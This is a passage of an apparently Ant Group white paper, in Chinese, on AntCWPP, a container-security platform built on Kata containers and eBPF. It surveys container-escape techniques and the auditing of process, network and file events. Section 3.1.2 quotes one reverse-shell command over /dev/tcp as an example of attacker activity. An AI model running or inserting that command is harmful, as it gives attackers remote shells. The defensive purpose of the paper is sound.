AI智能总结
蚂蚁容器安全(AntCWPP)能力建设 一基于 Kata 和 eBPF 目录 第一章 概述2 第二章背景介绍 2.1快速发展的容器安全需求32.2-传统CWPP方案的不足52.3-Kata与eBPF作为实现CWPP方案的技术优势7 第三章方案效果与特点 3.1方案效果93.2~关键特性14 第四章方案架构 4.1架构概览164.2-策略管控链路174.3安全事件日志20 第五章eBPF策略实现 5.1进程监控与拦截215.2~网络访问控制225.3文件访问控制235.4系统调用监控与拦截24 第六章√安全应用与上线效果 6.1业务场景266.2-安全策略26 第七章展望 7.1安全容器将得到更加广泛的使用297.2安全容器内的威胁分析与监测逐渐得到发展297.3eBPF在安全领域的使用逐渐成为共识307.4-Kata独立内核的更广泛应用31 第一章丶概述 本蓝皮书描述了蚂蚁集团基于Kata和eBPF技术实现的容器安全保护方案(AntGroupCloudWorkloadProtectionPlatform,AntCwPP)。蓝皮书首先介绍了传统CWPP方案的不足之处,接着介绍蚂蚁集团如何使用Kata安全容器和Linux内核eBPF技术构建一套功能丰富、深度集成于内部基础设施的稳定、高效、安全的CWPP系统。最后蓝皮书对安全容器的使用、容器安全监控、eBPF在安全领域的应用以及Kata作为独立内核的应用做了展望。 Kata安全容器以其受限的爆炸半径、安全与性能的强隔离深刻地改变了容器世界,eBPF以其能够灵活、安全的对内核功能进行定制深刻地改变了安全方案的实现。蚂蚁集团通过将Kata安全容器与eBPF技术结合,构建了一套安全能力丰富与生产环境稳定的CWPP系统,持续推动了容器安全的发展。 第二章丶背景介绍 2.1快速发展的容器安全需求 2.1.1容器隔离与逃逸防护 容器逃逸是指攻击者突破容器的隔离边界,获取主机或其他容器的控制权限。由于容器共享主机内核,一旦逃逸成功,攻击者可控制整个节点,甚至横向渗透至集群内部。 常见的容器逃逸方式包括: ·内核漏洞利用。由于容器与宿主机共用一个内核,所以在容器中能够通过利用漏洞来进行容器逃逸,典型的漏洞包括DirtyPipe,通过覆写runc二进制文件进行容器逃逸。还有一些逃逸方式通过利用内核漏洞,突破Linux的namespace机制,从而访问宿主机资源, ·容器运行时漏洞。容器运行时的漏洞也能够用来进行容器逃逸,比如CVE-2019-5736是runc的漏洞,通过利用该漏洞能够重写宿主机上的runc进程,从而实现容器逃逸。 ·容器权限配置过大,如果容器的权限过大,则能够操作系统资源,进行容器逃逸。比如容器如果具有CAPSYSMODULE则能够加载内核模块到宿主机,实现容器逃逸。 ·容器挂载宿主机资源,宿主机上的敏感文件系统如果挂载到容器,则容器能够直接访问宿主机资源,进行容器逃逸。比如如果将/或者/proc目录挂载到容器,容器能够访问宿主机的重要文件,实现容器逃逸。 ·通过共享网络逃逸,容器如果使用宿主机网络,则能够访问宿主机上的网络服务以及宿主机节点所在网络的其他节点,发起网络攻击,实现容器逃逸。 容器逃逸是云原生环境的致命威胁之一,CWPP需要能够防御各种容器逃逸手段。 2.1.2网络微隔离 云原生环境中,网络微隔离用于精细化的控制服务间的通信权限。网络微隔离对于云原生安全特别重要,这是因为一旦某个容器被攻破(如通过漏洞利用),攻击者会尝试横向移动(如扫描集群内其他服务的脆弱端口)。通过网络微隔离则能够限制服务间仅允许必要的通信(如只允许访问某个业务容器的8080端口),阻断攻击链扩散。 CWPP需要能够实现网络微隔离,用来限制漏洞利用的横向影响范围。 2.1.3 容器个性化安全策略 在云原生环境中,不同的业务通常运行在不同的容器中,不同的业务容器对安全的要求差异显著。比如有的业务提供对外服务,需要严格的安全策略;而部分性能关键业务,只能施加基本的安全策略,避免对业务的稳定性造成影响。因此,CWPP需要支持业务维度的、细粒度的、动态可调的安全策略。 2.1.4 丰富的安全管控能力 CWPP不仅需要能够对容器内的进程、网络进行审计与管控,还需要能够对其他安全事件进行审计与管控,比如文件完整性保护。 文件完整性保护(FileIntegrityMonitoring,FIM)通过监控关键文件的变更,防止恶意篡改或供应链攻击,防止攻击者通过在容器中创建恶意文件或者篡改容器内的关键系统配置文件进行后门植入或者权限提升。CWPP需要能够对文件的修改进行监控,及时发现攻击行为。 2.2传统CWPP方案的不足 传统CWPP方案的安全能力构建在以runc为核心的容器编排系统之上。 这类CWPP方案具有诸多缺点。 2.2.1生产环境的兼容性差 传统CWPP底层实现方案通常包括两类。一类通过内核模块实现,一类通过eBPF技术实现。这两种模式都需要适配生产环境的各种内核版本。由于生产环境要求稳定的特点,生产环境的内核版本不会轻易更新,时间一长,版本的碎片化比较严重。 因此不管是基于内核模块还是eBPF的实现,传统的CWPP方案通常都很难完全的覆盖生产集群。 2.2.2容器逃逸防护难度大 从上一节容器逃逸的分析中,可以看到,容器逃逸的方式各式各样,有的权限或者配置难以避免,比如有的业务需要一些比较大的权限才能正常工作。这对CWPP的实现带来了挑战,如果使用较为严格的容器逃逸防御方案会对业务造成误拦截,如果使用较为宽容的防御方案则无法覆盖各类容器逃逸。因此,传统CWPP对于容器逃逸的防护难度很大。 2.2.3策略影响爆炸半径大 不管是基于内核模块还是eBPF的CWPP方案,其底层的安全逻辑都是实现在宿主机内核。一旦其实现存在bug或者触发了系统bug,则会造成整个宿主机节点的崩溃,这会影响到宿主机上其他的业务容器。因此,传统CWPP方案的策略影响爆炸半径过大。 2.2.4应用策略管理复杂度高 为了实现容器级别的策略,需要将应用的安全策略与底层容器关联起来。由于应用之间的安全策略不同,因此CWPP在判断策略归属时的准确性就非常重要,由于传统CWPP方案的策略归属判断在宿主机上实现,并且需要管理的容器策略可能会有数百个,这种判断极易出错。一旦出错,就会影响正常的业务运行。因此,CWPP难以在生产环境实现容器级别的安全策略管理。 2.2.5拦截策略下友风险高 拦截策略指的是对违反安全策略的行为进行拦截。相比审计策略只产生告警,拦截策略是更严格的安全策略。由于在策略判断过程中可能会误判容器的安全策略,如果对于正常容器的行为进行了误拦截,会严重影响业务的正常运行。因此,传统CWPP方案一般以监控为主,不会下发拦截策略。 2.3 Kata与 eBPF 作为实现 CWPP方案的技术优势 AntCWPP基于Kata容器构建CWPP方案,能够克服传统CWPP方案的诸多缺点。Kata容器运行在独立内核中,带来了多个优点: ·首先彻底解决了容器逃逸问题,业务的权限可以按需配置,即使权限过大容器也无法逃逸到宿主机上; ·其次,独立的内核解耦了CWPP方案对节点的内核依赖,CWPP的环境依赖转变为对Kata容器虚拟机内核的依赖,而这种依赖只需要升级Kata组件版本,非常容易实现; ·最后,Kata容器的独立内核还将安全策略的影响半径限制到容器层面,安全策略下发到Kata容器中,只影响该Kata容器,不会影响其所属的宿主机以及其他Kata容器,由于这种隔离性,也能够比较安全的实现拦截策略。 Kata解决了容器隔离以及AntCWPP对运行环境的依赖,而eBPF则实现了AntCWPP安全策略的灵活与安全。 eBPF(扩展的伯克利数据包过滤器)是一种灵活且强大的内核技术,最初设计用于高效的网络数据包过滤。随看时间的推移,它的应用范围大大扩展,现在在性能监控、故障排查、安全策略执行、网络流量分析和可观察性方面发挥看关键作用。 eBPF充许用户在不修改内核源代码或加载新的内核模块的情况下,在内核中安全地运行自定义代码。这是通过将eBPF程序编译为字节码,然后加载到内核中并经过严格验证以确保安全性和稳定性来实现的。 与传统内核模块相比,eBPF有几个显著优点: ·安全性:eBPF程序在加载到内核之前经过严格验证,以确保它们不影响系统稳定性。这降低了内核崩溃风险。 ·灵活性:eBPF充许在系统运行时动态加载和更新程序,无需重新编译或重启内核。这使新特性的开发和部署更快且更便利。 ·低开销:eBPF程序在内核空间运行,提供了高处理速度和低开销,相较于用户空间的解决方案,拥有更好的性能和更低的延迟。 ·可编程性:eBPF支持编写复杂逻辑以收集和分析内核事件,实现细粒度的系统监控、性能优化和安全策略执行。 层方案。但是传统的CWPP方案中,在为业务容器加载安全策略时,eBPF程序需要区分容器,而这种区分在节点容器数量多、生命周期变化频繁的情况下容易出错,使得策略可能加载到非预期的容器,对正常业务造成影响。蚂蚁AntCWPP方案通过将eBPF加载到Kata容器中,不仅保持了eBPF的优点,还简化了eBPF程序的内容,使得eBPF不用关心容器的加载逻辑,只需要关系业务的安全策略逻辑。 富、生产环境兼容性高、业务策略灵活的CWPP系统,该系统目前已经稳定运行在蚂蚁生产业务,为海量容器提供安全护航。 第三章丶方案效果与特点 3.1方案效果 在AntCWPP方案中,所有的容器运行在Kata安全容器中。同一个节点上的容器通过节点上的一个安全Agent进行安全策略的加载与日志采集。安全Agent通过向虚拟机内核中加载eBPF程序实现Kata容器内的安全监控与行为拦截。AntCWPP方案整体方案效果如图所示。 通过安全Agent将eBPF程序加载到Kata容器所属的虚拟机内核中。这些eBPF程序会加载到多个内核eBPF加载点,比如syscall、LSM、网络等相关的加载点。安全Agent通过eBPFmap下发安全策略,eBPF程序会实现相应的监控与拦截逻辑。 AntCWPP方案结合了Kata安全容器和eBPF程序的优点,实现了生产可落地的容器安全管控方案。本节会对实现的安全效果进行介绍,随后会对整个方案架构以及eBPF加载点的选择及安全审计与拦截的实现逻辑进行详细介绍。 3.1.1容器逃逸的彻底终结 容器逃逸的检测与防御是容器安全中的关键一环,但是runc容器环境中很难彻底对容器逃逸进行防御。这是因为一旦宿主机内核或者容器引擎存在漏洞,攻击者即有可能进行容器逃逸。另一方面,即使企业能够按时修复漏洞,确保没有已知漏洞也很难避免其上运行业务对于高权限的使用,很多时候这种使用是必须的,而这些业务使用的高权限也能够用于容器逃逸。造成容器逃逸的关键是runc容器的共享内核导致。 传统runc容器与Kata容器的架构如下: 传统runc容器下,所有容器与宿主机共享同一个Linux内核。不管是容器自身权限配置过大还是容器引擎、内核存在漏洞,都能够使攻击者进行容器逃逸,获取宿主机权限,进而攻击其他容器。AntCWPP采用Kata作为底层容器运行时,每个容器都有自己的内核,容器之间以及容器与宿主机之间互不影响,从根本上阻断了容器逃逸。 3.1.2安全事件行为审计 从安全角度来看,进程创建、网络连接、文件系统访问及关键系统调用等事件至关重要,这是因为这些事件直接关联到网络攻击的核心环节。 从安全审计的角度来看,进程创建是攻击者在Linux系统中执行恶意活动的基础入口。攻击者经常通过合法进程的子进程触发攻击,例如利用cron任务启动隐藏的反弹Shell(如/bin/bash-c"bash-i>&/dev/tcp/10.0.0.1/44440>&1"),或通过Web服务器进程执行/tmp目录下的隐藏恶意脚本。安全审计需要监控exec